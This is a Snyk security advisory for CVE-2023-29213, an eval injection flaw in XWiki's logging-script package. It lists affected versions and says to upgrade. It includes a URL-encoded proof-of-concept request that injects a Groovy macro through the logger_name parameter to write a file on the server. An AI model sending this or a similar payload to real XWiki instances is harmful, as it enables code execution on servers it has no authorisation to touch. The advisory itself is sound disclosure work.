Eval Injection Affecting org.xwiki.platform:xwiki-platform-logging-script package, versions [4.2-milestone-3,13.10.11)[14.0-rc-1,14.4.7)[14.5,14.10)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.21% (60th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Eval Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGXWIKIPLATFORM-5421189
  • published13 Apr 2023
  • disclosed12 Apr 2023
  • creditUnknown

Introduced: 12 Apr 2023

CVE-2023-29213  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade org.xwiki.platform:xwiki-platform-logging-script to version 13.10.11, 14.4.7, 14.10 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection by tricking a user with programming privileges into using a maliciously crafted URL.

PoC

<xwiki-host>/xwiki/bin/view/XWiki/LoggingAdmin?loggeraction_set=1&logger_name=%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dnew+File%28%22%2Ftmp%2Fexploit.txt%22%29.withWriter+%7B+out+-
%3E+out.println%28%22created+from+notification+filter+preferences%21%22%29%3B+%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D&logger_level=TRACE

CVSS Scores

version 3.1